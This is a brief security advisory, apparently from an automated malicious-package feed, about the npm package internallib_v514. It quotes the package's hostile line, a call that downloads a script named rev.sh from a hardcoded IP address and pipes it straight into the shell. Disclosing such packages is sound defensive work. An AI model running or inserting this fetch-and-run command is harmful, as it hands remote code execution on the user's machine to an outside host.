Malicious code in internallib_v514 (npm)

Source: amazon-inspector ae39104ad6f972db3cbd895132ea9551b5f0d9b92709e3f2e09569b73dc4ba88 index.js line 2 defines an exported command function that calls require'childprocess'.execSync"curl http://10.0.70.90/rev.sh | sh", synchronously downloading a shell script from a hardcoded internal bare-IP...